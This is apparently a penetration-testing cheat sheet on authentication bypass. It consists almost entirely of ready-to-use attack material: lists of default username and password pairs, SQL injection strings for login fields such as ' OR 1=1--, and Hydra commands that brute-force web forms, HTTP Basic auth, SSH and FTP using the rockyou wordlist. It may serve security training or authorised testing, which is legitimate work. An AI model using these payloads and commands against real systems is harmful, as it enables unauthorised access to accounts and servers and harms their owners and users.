Authentication Bypass

reference 29 commands

Default Credentials to Try

admin:admin

admin:password

admin:admin123

admin:1234

admin:(blank)

root:root

root:password

root:toor

administrator:administrator

test:test

guest:guest

user:user

CMS-specific:

admin:admin        # WordPress, Joomla

admin:password     # Drupal

[email protected]:admin  # Drupal alternative

SQLi Login Bypass

Username field injection

admin'--

admin'#

admin'/*

' OR 1=1--

' OR '1'='1'--

admin' OR '1'='1'--

' OR 1=1 LIMIT 1--

') OR ('1'='1

Brute Force with Hydra

HTTP POST form

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  <TARGET-IP> http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

HTTP GET form

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  <TARGET-IP> http-get-form "/login:username=^USER^&password=^PASS^:Login failed"

HTTP Basic Auth

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  http-get://<TARGET-IP>/protected/

Username + password list (from found usernames)

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
  <TARGET-IP> http-post-form "/login.php:user=^USER^&pass=^PASS^:Wrong"

SSH brute force

hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ssh://<TARGET-IP>

FTP brute force

hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET-IP>

connected

in OWASP